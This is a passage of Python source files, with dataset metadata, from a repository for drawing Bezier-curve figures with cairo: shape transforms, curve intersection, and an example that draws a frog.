this_figure, other_figure):\n\n self.figures = [this_figure, other_figure]\n self.t_values = self._t_values_of_intersection(self.figures)\n self.mrk_figure = self._put_marker_on_figure(self.figures, self.t_values)\n self.spl_parts = self._split_into_parts(self.mrk_figure)\n self.req_parts = self._judge_required_parts(self.spl_parts)\n self.cmb_figure = self._combined_parts(self.req_parts)\n\n return self.cmb_figure\n\n def _t_values_of_intersection(self, figures):\n \"\"\" \"\"\"\n self.t_values = [[], []]\n if not figures == [[], []]:\n for i in [0, 1]:\n for nodes0 in figures[i]:\n t_lst = []\n for nodes1 in figures[1 - i]:\n _, t = super().intersections(nodes0, nodes1)\n if not t == [[], []]:\n t_lst += t[0]\n self.t_values[i].append(t_lst)\n\n return self.t_values\n\n def _put_marker_deep_cross(self, figure, t_value):\n \"\"\" \"\"\"\n mrk_figure = []\n mark = iter([0, 1])\n for fig, t in zip(figure, t_value):\n if not t == []:\n fig1, fig2 = super().split(fig, t[0])\n mrk_figure.append(fig1)\n mrk_figure.append(next(mark))\n mrk_figure.append(fig2)\n else:\n mrk_figure.append(fig)\n\n return mrk_figure\n\n def _put_marker_shallow_cross(self, figure, t_value):\n \"\"\" \"\"\"\n mrk_figure = []\n for fig, t in zip(figure, t_value):\n if not t == []:\n if t[0] < t[1]:\n fig0, fig3 = super().split(fig, t[1])\n fig1, fig2 = super().split(fig0, t[0] / t[1])\n else:\n fig0, fig3 = super().split(fig, t[0])\n fig1, fig2 = super().split(fig0, t[1] / t[0])\n mrk_figure.append(fig1)\n mrk_figure.append(0)\n mrk_figure.append(fig2)\n mrk_figure.append(1)\n mrk_figure.append(fig3)\n else:\n mrk_figure.append(fig)\n\n return mrk_figure\n\n def _put_marker_on_figure(self, figures, t_values):\n \"\"\" \"\"\"\n self.mrk_figure = [[], []]\n if not t_values == [[], []]:\n for i in [0, 1]:\n len_lst = [len(t) for t in t_values[i]]\n if len_lst.count(1) == 2:\n mrk_figure = self._put_marker_deep_cross(figures[i], t_values[i])\n elif len_lst.count(2) == 1:\n mrk_figure = self._put_marker_shallow_cross(figures[i], t_values[i])\n else: # len_lst.count(0) == len(len_lst):\n mrk_figure = figures[i]\n\n self.mrk_figure[i] = mrk_figure\n\n return self.mrk_figure\n\n def _split_into_parts(self, mrk_figures):\n\n self.spl_parts = [[], []]\n if not mrk_figures == [[], []]:\n for i in [0, 1]:\n lst = mrk_figures[i]\n figure0 = lst[lst.index(0) + 1: lst.index(1)]\n figure1 = lst[lst.index(1) + 1:] + lst[:lst.index(0)]\n self.spl_parts[i].append(figure0)\n self.spl_parts[i].append(figure1)\n\n return self.spl_parts\n\n def _judge_required_parts(self, spl_parts):\n \"\"\" \"\"\"\n self.req_parts = [[], []]\n if not spl_parts == [[], []]:\n for i in [0, 1]:\n for nodes in sum(spl_parts[i], []):\n count = 0\n x, y = super().curve(nodes)\n line_of_judgement = (x[1], y[1]), (x[1] + self.judge_scope, y[1])\n for other_figure in sum(spl_parts[1 - i], []):\n p, t = super().intersections(line_of_judgement, other_figure)\n if not p == [[], []]:\n count += len(t[0])\n if count % 2 == 0:\n self.req_parts[i].append(nodes)\n\n return self.req_parts\n\n def _combined_parts(self, req_parts):\n \"\"\" \"\"\"\n self.cmb_figure = []\n if not req_parts == [[], []]:\n this_parts, other_parts = req_parts\n x0, y0 = this_parts[0][0]\n x1, y1 = this_parts[-1][-1]\n x2, y2 = other_parts[0][0]\n x3, y3 = other_parts[-1][-1]\n if abs(x0 - x2) < 0.0001:\n join1 = (x0 + x2) / 2, (y0 + y2) / 2\n join2 = (x1 + x3) / 2, (y1 + y3) / 2\n this_parts[0] = (join1,) + this_parts[0][1::]\n this_parts[-1] = this_parts[-1][:-1:] + (join2,)\n other_parts[0] = (join1,) + other_parts[0][1::]\n other_parts[-1] = other_parts[-1][:-1:] + (join2,)\n else:\n join1 = (x0 + x3) / 2, (y0 + y3) / 2\n join2 = (x1 + x2) / 2, (y1 + y2) / 2\n this_parts[0] = (join1,) + this_parts[0][1::]\n this_parts[-1] = this_parts[-1][:-1:] + (join2,)\n other_parts[0] = (join2,) + other_parts[0][1::]\n other_parts[-1] = other_parts[-1][:-1:] + (join1,)\n\n self.cmb_figure = this_parts + other_parts\n\n return self.cmb_figure\n\n\nclass Figure(BasicFigure, Combine, Canvas):\n\n def __init__(self):\n super().__init__()\n self.__figure = [((-10, -10), (-10, 10)),\n ((-10, 10), (10, 10)),\n ((10, 10), (10, -10)),\n ((10, -10), (-10, -10))]\n\n def __repr__(self):\n return \"\\n\".join([str(fig) for fig in self.__figure])\n\n @property\n def figure(self):\n return self.__figure\n\n @figure.setter\n def figure(self, value):\n self.__figure = value\n\n def deepcopy(self):\n return copy.deepcopy(self)\n\n def set_line(self, a, origin=(0., 0.)):\n self.__figure = super().liner_bezier(a, origin)\n return self\n\n def set_rectangle(self, a, b, origin=(0., 0.)):\n self.__figure = super().rectangle(a, b, origin)\n return self\n\n def set_ellipse(self, a, b, origin=(0., 0.)):\n self.__figure = super().ellipse(a, b, origin)\n return self\n\n def set_hexagon(self, a, origin=(0., 0.)):\n self.__figure = super().hexagon(a, origin)\n return self\n\n def cutting_figure(self, cut=0):\n \"\"\" \"\"\"\n fig = self.__figure.copy()\n c0, c1 = super().split(fig[cut], 0.5)\n del fig[cut]\n fig.insert(cut, c0)\n fig.insert(cut + 1, c1)\n self.__figure = fig\n return self\n\n def cut_figure(self, *args: int) -> object:\n \"\"\" \"\"\"\n if max(args) > len(self.__figure):\n print(\"error: cur_figure() argument size \")\n return self\n fig_d = {}\n for i in args:\n fig_d[i] = super().split(self.__figure[i], 0.5)\n figure = []\n for i, fig in enumerate(self.__figure):\n if i in fig_d.keys():\n figure += fig_d[i]\n else:\n figure.append(fig)\n self.__figure = figure\n return self\n\n def center_of_figure(self, figure):\n \"\"\" bounding box の中心点 \"\"\"\n x, y = [], []\n for fig in figure:\n if len(fig) == 4:\n left, bottom, right, top = super().bounds(fig)\n x += [left, right]\n y += [bottom, top]\n elif len(fig) == 2:\n x += [fig[0][0], fig[1][0]]\n y += [fig[0][1], fig[1][1]]\n else:\n print('error: center_point()')\n x0 = (max(x) - min(x)) / 2 + min(x)\n y0 = (max(y) - min(y)) / 2 + min(y)\n p = (x0, y0)\n return p\n\n def move(self, x, y):\n \"\"\" translation \"\"\"\n m = (x, y)\n figure = []\n for fig in self.__figure:\n f = []\n for p in fig:\n f.append(super().affine_translate(p, m))\n figure.append(tuple(f))\n self.__figure = figure\n return self\n\n def scale(self, x, y):\n scale = (x, y)\n refer_p = self.center_of_figure(self.__figure)\n figure = []\n for fig in self.__figure:\n f = []\n for p in fig:\n f.append(super().self_scale(p, refer_p, scale))\n figure.append(tuple(f))\n self.__figure = figure\n return self\n\n def rotate(self, angle=0):\n \"\"\" \"\"\"\n refer_p = self.center_of_figure(self.__figure)\n figure = []\n for fig in self.__figure:\n f = []\n for p in fig:\n f.append(super().self_rotate(p, refer_p, angle))\n figure.append(tuple(f))\n self.__figure = figure\n return self\n\n def shear(self, x, y):\n \"\"\" \"\"\"\n shear = (x, y)\n refer_p = self.center_of_figure(self.__figure)\n figure = []\n for fig in self.__figure:\n f = []\n for p in fig:\n f.append(super().self_shear(p, refer_p, shear))\n figure.append(tuple(f))\n self.__figure = figure\n return self\n\n def reflect(self, axis='y'):\n \"\"\" \"\"\"\n refer_p = self.center_of_figure(self.__figure)\n figure = []\n for fig in self.__figure:\n f = []\n for p in fig:\n f.append(super().self_reflect(p, refer_p, axis))\n figure.append(tuple(f))\n self.__figure = figure\n return self\n\n def _reflect(self, axis='x'):\n \"\"\" \"\"\"\n figure = []\n for fig in self.__figure:\n f = []\n for p in fig:\n f.append(super().affine_reflect(p, axis))\n figure.append(tuple(f))\n self.__figure = figure\n return self\n\n def j_m(self, fig_1: int, fig_2: int, m=(0., 0.)) -> any:\n \"\"\" \"\"\"\n p0 = self.__figure[fig_1][3]\n p1 = self.__figure[fig_1][2]\n p2 = self.__figure[fig_2][1]\n q0 = super().affine_translate(p0, m)\n q1 = super().affine_translate(p1, m)\n q2 = super().affine_translate(p2, m)\n figure = [list(fig) for fig in self.__figure]\n figure[fig_1][2] = q1\n figure[fig_1][3] = q0\n figure[fig_2][0] = q0\n figure[fig_2][1] = q2\n self.__figure = [tuple(fig) for fig in figure]\n return self\n\n def j_r(self, fig_1: int, fig_2: int, r=0.) -> any:\n \"\"\" \"\"\"\n p0 = self.__figure[fig_1][3]\n p1 = self.__figure[fig_1][2]\n p2 = self.__figure[fig_2][1]\n q1 = super().self_rotate(p1, p0, r)\n q2 = super().self_rotate(p2, p0, r)\n figure = [list(fig) for fig in self.__figure]\n figure[fig_1][2] = q1\n figure[fig_2][1] = q2\n self.__figure = [tuple(fig) for fig in figure]\n return self\n\n def p_m(self, fig_num: int, p_num: int, m=(0., 0.)) -> any:\n \"\"\" \"\"\"\n figure = [list(fig) for fig in self.__figure]\n p = figure[fig_num][p_num]\n q = super().affine_translate(p, m)\n figure[fig_num][p_num] = q\n self.__figure = [tuple(fig) for fig in figure]\n return self\n\n def p_r(self, fig_num, axis_num, p_num, r=0):\n \"\"\" \"\"\"\n figure = [list(fig) for fig in self.__figure]\n p = figure[fig_num][p_num]\n q = super().self_rotate(p, figure[fig_num][axis_num], r)\n figure[fig_num][p_num] = q\n self.__figure = [tuple(fig) for fig in figure]\n return self\n\n def combine(self, other_obj):\n \"\"\" \"\"\"\n this_figure = self.__figure\n other_figure = other_obj.figure\n combined_figure = super().combine_figures(this_figure, other_figure)\n self.__figure = combined_figure\n return self\n\n def draw(self, ctx, figure=None, color='cyan', width=1.0, fill='off',\n number='off', control='off'):\n\n self._reflect()\n if figure is None:\n figure = self.__figure\n super()._context(ctx, figure, color, width, fill)\n if number == 'on':\n super()._show_number(ctx, figure)\n if control == 'on':\n super()._show_control_points(ctx, figure)\n self._reflect()\n return self\n\n def plot(self):\n x, y = [], []\n for p in self.__figure:\n c = super().curve(p)\n x += c[0]\n y += c[1]\n return x, y\n\n\nif __name__ == '__main__':\n\n im = 'example2.svg'\n cv = Canvas(im, 0.75)\n surface, context = cv.surface512(grid='on', circle='on')\n\n eye = Figure()\n # eye.set_ellipse(100, 100)\n eye.set_line(30)\n # eye.cut_figure(1, 3)\n eye.draw(context, color='apple green', number='on', control='on')\n\n surface.finish()\n" }, { "alpha_fraction": 0.4016849100589752, "alphanum_fraction": 0.4749789237976074, "avg_line_length": 28.674999237060547, "blob_id": "12085020fe3d78870dc5f4c477e134fb89b62b67", "content_id": "801c847fb6d42f5cd2133f178cf606956d276fe3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5949, "license_type": "permissive", "max_line_length": 100, "num_lines": 200, "path": "/lib/canvas.py", "repo_name": "shakysnails/draw", "src_encoding": "UTF-8", "text": "import cairo\nimport math\nimport matplotlib.pyplot as plt\nfrom lib.color import Color\n\n\nclass Canvas(object):\n\n def __init__(self, filename, scale=1.0):\n \"\"\" \"\"\"\n self.filename = filename\n self.scale = scale\n self.size = 512 * scale\n self.surface = cairo.SVGSurface(self.filename, self.size, self.size)\n self.context = cairo.Context(self.surface)\n\n def surface512(self, png='filename', sketch='off', grid='on', circle='on'):\n \"\"\" \"\"\"\n ctx = self.context\n ctx.scale(self.scale, self.scale)\n ctx.translate(256, 256)\n ctx.set_source_rgba(255, 255, 255, 1)\n ctx.paint()\n\n if sketch == 'on':\n self._rough_sketch(png)\n if grid == 'on':\n self._grid_scale()\n if circle == 'on':\n self._circle_scale()\n\n return self.surface, self.context\n\n def _rough_sketch(self, png):\n ctx = self.context\n ctx.save()\n ims = cairo.ImageSurface.create_from_png(png)\n ctx.set_source_surface(ims, -256, -256)\n ctx.paint()\n ctx.restore()\n\n def _grid_scale(self):\n ctx = self.context\n ctx.save()\n ctx.set_source_rgb(0, 0, 0)\n ctx.set_line_width(0.2)\n # grid\n for i in range(-250, 250, 25):\n ctx.move_to(-250, i)\n ctx.line_to(250, i)\n ctx.move_to(i, -250)\n ctx.line_to(i, 250)\n ctx.stroke()\n # 0 line\n ctx.set_line_width(0.5)\n ctx.move_to(-250, 0)\n ctx.line_to(250, 0)\n ctx.move_to(0, 250)\n ctx.line_to(0, -250)\n ctx.stroke()\n\n ctx.select_font_face(\"Courier New\")\n\n for i in range(-200, 0, 50): # x_lim\n ctx.set_font_size(10)\n ctx.move_to(i - 13, -5)\n ctx.show_text(str(i))\n ctx.move_to(-i - 7, -5)\n ctx.show_text(str(-i))\n\n for i in range(-200, 0, 50): # y_lim\n ctx.set_font_size(10)\n ctx.move_to(-20, i + 3)\n ctx.show_text(str(-i).rjust(3, \" \"))\n ctx.move_to(-25, -i + 3)\n ctx.show_text(str(i).rjust(4, \" \"))\n ctx.move_to(-250, 0)\n ctx.restore()\n\n def _circle_scale(self):\n ctx = self.context\n ctx.save()\n ctx.set_source_rgb(0, 0, 0)\n ctx.set_line_width(0.3)\n ctx.arc(0, 0, 250, 0, 2 * math.pi)\n ctx.stroke()\n ctx.restore()\n\n @classmethod\n def draw(cls, ctx, figure=None, color='cyan', width=1.0, fill='off',\n number='off', control='off'):\n\n cls._context(ctx, figure, color, width, fill)\n if number == 'on':\n cls._show_number(ctx, figure)\n if control == 'on':\n cls._show_control_points(ctx, figure)\n\n @staticmethod\n def _context(ctx, figure, color='cyan', width=1.0, fill='off'):\n if figure is None:\n figure = []\n ctx.save()\n rgb = Color.color2rgb(color)\n ctx.set_source_rgb(*rgb)\n ctx.set_line_width(width)\n ctx.set_font_size(10)\n pre_fig = [None] * 4\n for i, fig in enumerate(figure):\n if len(fig) == 4: # bezier curve\n if i == 0 or not fig[0] == pre_fig[3]:\n ctx.move_to(*fig[0])\n ctx.curve_to(*fig[1], *fig[2], *fig[3])\n elif len(fig) == 2: # line\n if i == 0:\n ctx.move_to(*fig[0])\n ctx.line_to(*fig[1])\n else:\n print('error: draw')\n pre_fig = fig\n if fill == 'off': # 線引き\n ctx.stroke()\n elif fill == 'on': # 塗り潰し\n ctx.fill()\n else:\n print('error: fill')\n ctx.restore()\n\n @staticmethod\n def _show_number(ctx, figure):\n \"\"\" \"\"\"\n ctx.save()\n for i, fig in enumerate(figure):\n ctx.move_to(*fig[0])\n ctx.set_source_rgb(1, 0, 0)\n ctx.set_font_size(10)\n ctx.show_text(f\"{i}\")\n ctx.restore()\n\n @staticmethod\n def _show_control_points(ctx, figure):\n \"\"\" \"\"\"\n ctx.save()\n ctx.set_source_rgb(0.91, 0.33, 0.31) # red\n ctx.set_line_width(0.5)\n for fig in figure:\n if len(fig) == 4:\n p0, p1, p2, p3 = fig\n for x, y in [p0, p1, p2, p3]:\n ctx.arc(x - 1, y - 1, 2, 0, 2 * math.pi)\n ctx.fill()\n ctx.set_dash([3, 3])\n ctx.move_to(*p0)\n ctx.line_to(*p1)\n ctx.move_to(*p3)\n ctx.line_to(*p2)\n ctx.stroke()\n ctx.set_dash([])\n ctx.restore()\n\n @staticmethod\n def plot512():\n \"\"\" \"\"\"\n fig, ax = plt.subplots(6, 6)\n ax.set_xlim(-256, 256)\n ax.set_ylim(-256, 256)\n ax.grid()\n ax.axhline(0, linewidth=0.5)\n ax.axvline(0, linewidth=0.5)\n plt.xticks(list(range(-250, 250 + 1, 50)))\n plt.yticks(list(range(-250, 250 + 1, 50)))\n\n return fig, ax\n\n @staticmethod\n def first_figure():\n return [((-100, 0), (-100, 55.228474983079344), (-55.228474983079344, 100), (0, 100)),\n ((0, 100), (55.228474983079344, 100.0), (100.0, 55.228474983079344), (100, 0)),\n ((100, 0), (100.0, -55.228474983079344), (55.228474983079344, -100.0), (0, -100)),\n ((0, -100), (-55.228474983079344, -100.0), (-100.0, -55.228474983079344), (-100, 0))\n ]\n\n\nif __name__ == '__main__':\n\n im = 'example2.svg'\n cv = Canvas(im, 0.75)\n surface, c = cv.surface512(grid='on', circle='on')\n\n f = cv.first_figure()\n cv.draw(c, f, number='off', control='off')\n\n# # fig = c.sample_figure()\n# # ctx.move_to(0, 0)\n# # ctx.line_to(100, 100)\n# # ctx.set_source_rgb(1, 0, 0)\n# # ctx.set_line_width(1.0)\n# # ctx.stroke()\n\n surface.finish()\n" }, { "alpha_fraction": 0.41683104634284973, "alphanum_fraction": 0.4598948061466217, "avg_line_length": 30.57785415649414, "blob_id": "774df86af30727e955d089946ed45a6ff28e24c2", "content_id": "e2e81f5b286cffb85e16b71f7d5fb93efe3d7110", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9278, "license_type": "permissive", "max_line_length": 99, "num_lines": 289, "path": "/lib/bezier.py", "repo_name": "shakysnails/draw", "src_encoding": "UTF-8", "text": "import matplotlib.pylab as plt\n\nclass BezierCurve(object):\n\n def sample_nodes(self, *args):\n nodes = {\n 1 : ((10.0, 52.0), (29.0, 31.0), (69.0, 68.0), (94.0, 50.0)),\n 2 : ((14.0, 59.0), (39.0, 80.0), (57.0, 43.0), (97.0, 40.0)),\n 3 : ((10.0, 41.0), (48.0, 76.0), (53.0, 26.0), (98.0, 45.0)),\n 4 : ((12.0, 38.0), (48.0, 72.0), (53.0, 33.0), (96.0, 52.0)),\n 5 : ((12.0, 40.0), (41.0, 30.0), (53.0, 53.0), (98.0, 40.0)),\n 6 : ((10.0, 22.0), (92.0, 60.0)),\n 7 : ((10.0, 42,0), (98.0, 42.0))\n }\n\n if len(args) == 1:\n ret = nodes[args[0]]\n else:\n ret = [nodes[i] for i in args]\n\n return ret\n\n def bernstein(self, n, i, t):\n \"\"\" Jn, i(t) Bernstein basis polynomials \"\"\"\n comb = lambda n, r: comb(n, r - 1) * (n - r + 1) / r if not (n == 0 or r == 0) else 1\n\n return comb(n, i) * t ** i * (1 - t) ** (n - i)\n\n def curve(self, nodes, t_value=None, steps=1000):\n \"\"\" Bezier curve by bernstein polynomial \"\"\"\n line = []\n if t_value is None:\n t_values = [s / steps for s in range(steps + 1)]\n else:\n t_values = [t_value]\n for t in t_values:\n n = len(nodes) - 1\n x, y = 0.0, 0.0\n for i, p in enumerate(nodes):\n x += self.bernstein(n, i, t) * p[0]\n y += self.bernstein(n, i, t) * p[1]\n line.append([x, y])\n\n ret = [*zip(*line)]\n x_list, y_list = ret\n\n return x_list, y_list\n\n def de_casteljau(self, nodes, t):\n \"\"\" De Casteljau's algorithm \"\"\"\n q = []\n pre_p = None\n for cur_p in nodes:\n if not pre_p is None:\n x = (1 - t) * pre_p[0] + t * cur_p[0]\n y = (1 - t) * pre_p[1] + t * cur_p[1]\n q.append((x, y))\n pre_p = cur_p\n\n if len(q) == 1:\n return [q]\n\n return [q] + self.de_casteljau(q, t)\n\n def split(self, nodes, t=0.5):\n \"\"\" split by De Casteljau's algorithm \"\"\"\n points = [nodes] + self.de_casteljau(nodes, t)\n left_nodes, right_nodes = [], []\n for p in points:\n left_nodes.append(p[0])\n right_nodes.append(p[-1])\n\n return tuple(left_nodes), tuple(right_nodes[::-1])\n\n def quadratic_equation(self, a, b, c):\n \"\"\" \"\"\"\n d = b ** 2 - 4 * a * c\n if a == 0:\n if b == 0:\n return []\n x = -c / b\n return [x]\n if d == 0:\n x = -b / (2.0 * a)\n return [x]\n if d < 0:\n return []\n else:\n x0 = (-b + d ** 0.5) / (2.0 * a)\n x1 = (-b - d ** 0.5) / (2.0 * a)\n\n return [x0, x1]\n\n def line_bounds(self, nodes):\n \"\"\"\" \"\"\"\n x = nodes[0][0], nodes[1][0]\n y = nodes[0][1], nodes[1][1]\n\n return min(x), min(y), max(x), max(y)\n\n def bounds(self, nodes):\n \"\"\" the bounding box (left, bottom, right, top) \"\"\"\n if len(nodes) == 2:\n return self.line_bounds(nodes)\n\n p0, p1, p2, p3 = nodes\n bounds = [[], []]\n bounds[0] += p0[0], p3[0]\n bounds[1] += p0[1], p3[1]\n\n for i in [0, 1]:\n\n f = lambda t: ((1 - t) ** 3 * p0[i]\n + 3 * t * (1 - t) ** 2 * p1[i]\n + 3 * t ** 2 * (1 - t) * p2[i]\n + t ** 3 * p3[i])\n\n a = float(-3 * p0[i] + 9 * p1[i] - 9 * p2[i] + 3 * p3[i]) # -3*p0 + 9*p1 - 9*p2 + 3*p3\n b = float(6 * p0[i] - 12 * p1[i] + 6 * p2[i]) # 6*p0 - 12*p1 + 6*p2\n c = float(-3 * p0[i] + 3 * p1[i]) # -3*p0 + 3*p1\n\n t_list = self.quadratic_equation(a, b, c)\n\n for t in t_list:\n if 0.0 < t < 1.0:\n p = f(t)\n bounds[i].append(p)\n\n return min(bounds[0]), min(bounds[1]), max(bounds[0]), max(bounds[1])\n\n\nclass Intersect(BezierCurve):\n\n def is_overlap(self, nodes0, nodes1):\n \"\"\" 2つのベジェ曲線のバウンディングボックスの重なり判定、重なりありで True を返す \"\"\"\n left0, bottom0, right0, top0 = super().bounds(nodes0)\n left1, bottom1, right1, top1 = super().bounds(nodes1)\n\n overlap = not (bottom0 > top1 or top0 < bottom1 or left0 > right1 or right0 < left1)\n\n return overlap\n\n def _split_on_overlap(self, target_nodes, other_nodelist):\n \"\"\" 分割したベジェ曲線と相手のベジェ曲線(複数)の重なり判定を返す\n (nodes0, True) -> 重なりあり、(nodes1, False) -> 重なりなし\n \"\"\"\n nodes0, nodes1 = super().split(target_nodes)\n\n overlap0 = [self.is_overlap(nodes0, nodes) for nodes in other_nodelist]\n overlap1 = [self.is_overlap(nodes1, nodes) for nodes in other_nodelist]\n\n return (nodes0, any(overlap0)), (nodes1, any(overlap1))\n\n def _clipping(self, nodeslists):\n \"\"\" \"\"\"\n clp_nodelists = [[], []]\n overlap_lists = [[], []]\n for i in [0, 1]:\n for nodes in nodeslists[i]:\n n0, n1 = self._split_on_overlap(nodes, nodeslists[1 - i])\n for n in [n0, n1]:\n overlap_lists[i].append((n[1], 1))\n if n[1] == True:\n clp_nodelists[i].append(n[0])\n\n return clp_nodelists, overlap_lists\n\n def _merge(self, pre_overlap_list, cur_overlap_list):\n \"\"\" \"\"\"\n if pre_overlap_list == []:\n return cur_overlap_list\n else:\n wrk_pre_overlap_list = [(p[0], p[1] * 2) for p in pre_overlap_list]\n mrg_overlap_list = []\n for pre_data in wrk_pre_overlap_list:\n if pre_data[0] == False:\n mrg_overlap_list.append(pre_data)\n else:\n pre_count = pre_data[1]\n cur_count = 0\n while True:\n cur_data = cur_overlap_list.pop(0)\n cur_count += cur_data[1]\n mrg_overlap_list.append(cur_data)\n if pre_count == cur_count:\n break\n\n return mrg_overlap_list\n\n def _summarise(self, overlap_list):\n \"\"\" overlap -> (overlap: bool, count: int) \"\"\"\n smr_overlap_list = []\n overlap = overlap_list[0][0]\n count = 0\n for overlap_data in overlap_list:\n if overlap == overlap_data[0]:\n count += overlap_data[1]\n else:\n smr_overlap_list.append((overlap, count))\n overlap = overlap_data[0]\n count = overlap_data[1]\n smr_overlap_list.append((overlap, count))\n\n return smr_overlap_list\n\n def _update(self, pre_overlap_lists, cur_overlap_lists):\n \"\"\" \"\"\"\n mrg_overlap_lists = [[], []]\n for i in [0, 1]:\n mrg_overlap_lists[i] = self._merge(pre_overlap_lists[i], cur_overlap_lists[i])\n\n smr_truth_lists = [[], []]\n for i in [0, 1]:\n smr_truth_lists[i] = self._summarise(mrg_overlap_lists[i])\n\n return smr_truth_lists\n\n def _recursive_intersect(self, nodeslists, overlap_lists=None, count=0):\n \"\"\" main process \"\"\"\n if overlap_lists is None:\n overlap_lists = [[], []]\n\n count += 1\n if count > 50:\n return overlap_lists, nodeslists\n\n clp_nodelists, cur_overlap_lists = self._clipping(nodeslists)\n upd_overlap_lists = self._update(overlap_lists, cur_overlap_lists)\n\n return self._recursive_intersect(clp_nodelists, upd_overlap_lists, count)\n\n def _t_values(self, overlap_list):\n \"\"\" \"\"\"\n t_values = []\n total_olp = sum(map(lambda olp: olp[1], overlap_list))\n false_lst = [olp[1] for olp in overlap_list if olp[0] == False]\n true_lst = [olp[1] for olp in overlap_list if olp[0] == True]\n del (false_lst[-1:])\n olp_f = 0\n for f, t in zip(false_lst, true_lst):\n olp_f = olp_f + f + (t / 2)\n t_values.append(olp_f / total_olp)\n olp_f = olp_f + (t / 2)\n\n return t_values\n\n def intersections(self, nodes1, nodes2):\n\n nodelists = [[nodes1], [nodes2]]\n\n overlap_lists, nodelists = self._recursive_intersect(nodelists)\n\n t_values = [[], []]\n points = [[], []]\n\n if nodelists != [[], []]:\n for i in [0, 1]:\n t_values[i] = self._t_values(overlap_lists[i])\n\n for i, nodes in zip([0, 1],[nodes1, nodes2]):\n for t in t_values[i]:\n x, y = self.curve(nodes, t)\n points[i].append((x[0], y[0]))\n\n return points, t_values\n\n\nclass Bezier(Intersect):\n pass\n\nif __name__ == '__main__':\n\n bezier = Bezier()\n\n fig, ax = plt.subplots()\n\n nodes1, nodes2 = bezier.sample_nodes(1, 3)\n x1, y1 = bezier.curve(nodes1)\n x2, y2 = bezier.curve(nodes2)\n\n points, ret = bezier.intersections(nodes1, nodes2)\n\n ax.plot(x1, y1)\n ax.plot(x2, y2)\n for i in (0, 1):\n for p in points[i]:\n ax.plot(*p, 'o')\n\n plt.show()\n" }, { "alpha_fraction": 0.4617750346660614, "alphanum_fraction": 0.5434973835945129, "avg_line_length": 27.273292541503906, "blob_id": "885191273f9535b858de61c702ac2bbbba19268a", "content_id": "234ab21f5e19b6a0a99b7fef1473f6daf5f65c7c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4552, "license_type": "permissive", "max_line_length": 93, "num_lines": 161, "path": "/example.py", "repo_name": "shakysnails/draw", "src_encoding": "UTF-8", "text": "from lib.canvas import Canvas\nfrom lib.figure import Figure\nimport pickle\n\n\ndef _offset_rounding_error(figure):\n \"\"\" \"\"\"\n fig = []\n pre_part = []\n for line in figure:\n if not pre_part == []:\n fig.append((pre_part[3], line[1], line[2], line[3]))\n else:\n fig.append(line)\n pre_part = line\n\n return fig\n\n\nif __name__ == '__main__':\n\n img = 'example.svg'\n ske = 'hieroglyph_frog.png'\n surface, ctx = Canvas(img, 0.75).surface512(ske, sketch='off', grid='off', circle='off')\n\n body = Figure()\n body.set_hexagon(150, (0, 0))\n body.cut_figure(5)\n body.shear(0.5, 0)\n\n body.j_m(0, 1, m=(0, -10)).j_m(1, 2, m=(35, -60)).j_m(2, 3, m=(30, -10))\n body.j_r(0, 1, r=20).j_r(1, 2, r=30).j_r(2, 3, r=-20)\n\n body.j_r(3, 4, r=20)\n\n body.j_m(4, 5, m=(-10, 10)).j_m(5, 6, m=(0, 35)).j_m(6, 0, m=(-30, 20))\n body.j_r(4, 5, r=-3).j_r(5, 6, r=20).j_r(6, 0, r=-25)\n\n body.draw(ctx, width=1.0, color='grass green', fill='on', control='off', number='off')\n\n body_outline = body.deepcopy()\n body_outline.draw(ctx, width=2.0, color='bottle green')\n\n \"\"\" arm \"\"\"\n sucker = Figure()\n sucker.set_ellipse(5, 4, (0, 0))\n\n sucker1 = sucker.deepcopy()\n sucker1.move(156, -137)\n # sucker1.draw(ctx, width=2.0, color='bottle green')\n\n sucker2 = sucker.deepcopy()\n sucker2.move(136, -139)\n # sucker2.draw(ctx, width=1.0, color='bottle green')\n\n sucker3 = sucker.deepcopy()\n sucker3.move(68, -140)\n # sucker3.draw(ctx, width=2.0, color='bottle green')\n\n arm = Figure()\n arm.set_hexagon(75, (60, -95))\n arm.cut_figure(1, 4, 5)\n arm.cut_figure(8)\n arm.scale(1, 0.2)\n arm.rotate(-85)\n\n arm.j_m(7, 8, m=(43, 23)).j_m(8, 9, m=(97, 29)).j_m(9, 0, m=(55, 40))\n arm.j_r(7, 8, r=60).j_r(7, 8, r=40).j_r(9, 0, r=-10)\n\n arm.j_m(0, 1, m=(33, 10)).j_m(1, 2, m=(2, 0)).j_m(2, 3, m=(0., 0.))\n arm.j_r(0, 1, r=55).j_r(1, 2, r=20).j_r(2, 3, r=-5)\n\n arm.j_m(3, 4, m=(-10, -35)).j_m(4, 5, m=(10, -40)).j_m(5, 6, m=(40, -35))\n arm.j_r(3, 4, r=60).j_r(4, 5, r=25).j_r(5, 6, r=45)\n\n arm.j_m(6, 7, m=(18, -8))\n arm.j_r(6, 7, r=65)\n\n is_pickle1 = False\n if is_pickle1:\n arm.combine(sucker1)\n arm.combine(sucker3)\n with open('example1.pickle', mode='wb') as f:\n pickle.dump(arm, f)\n else:\n with open('example1.pickle', mode='rb') as f:\n arm = pickle.load(f)\n\n arm.draw(ctx, width=2.0, color='grass green', fill='on', control='off', number='off')\n\n arm_outline = arm.deepcopy()\n del arm_outline.figure[10]\n arm_outline.draw(ctx, width=2.0, color='bottle green', number='off')\n\n \"\"\" leg \"\"\"\n leg = Figure()\n leg.set_hexagon(55, (-88, -90))\n leg.shear(0.3, 0)\n leg.rotate(-30)\n\n leg.j_m(0, 1, m=(-3, -5)).j_m(1, 2, m=(0, -5))\n # leg.draw(ctx)\n\n foot = Figure()\n foot.set_hexagon(28, (-33, -128))\n foot.shear(0.8, 0.5)\n foot.rotate(-37)\n\n foot.j_m(0, 1, m=(20, 0)).j_m(2, 3, m=(0, -3)).j_m(5, 0, m=(0, 7))\n # foot.draw(ctx)\n\n finger = foot.deepcopy()\n finger.scale(0.6, 0.6)\n finger.move(13, 1)\n finger.rotate(-10)\n # finger.draw(ctx)\n\n sucker4 = sucker.deepcopy()\n sucker4.move(37, -125)\n sucker5 = sucker.deepcopy()\n sucker5.move(26, -131)\n\n sucker6 = sucker.deepcopy()\n sucker6.move(6, -133)\n sucker6_outline = sucker6.deepcopy()\n sucker6.draw(ctx, width=2.0, color='grass green', fill='on')\n sucker6_outline.draw(ctx, width=2.0, color='bottle green')\n\n is_pickle2 = False\n if is_pickle2:\n foot.combine(finger)\n foot.combine(sucker4)\n 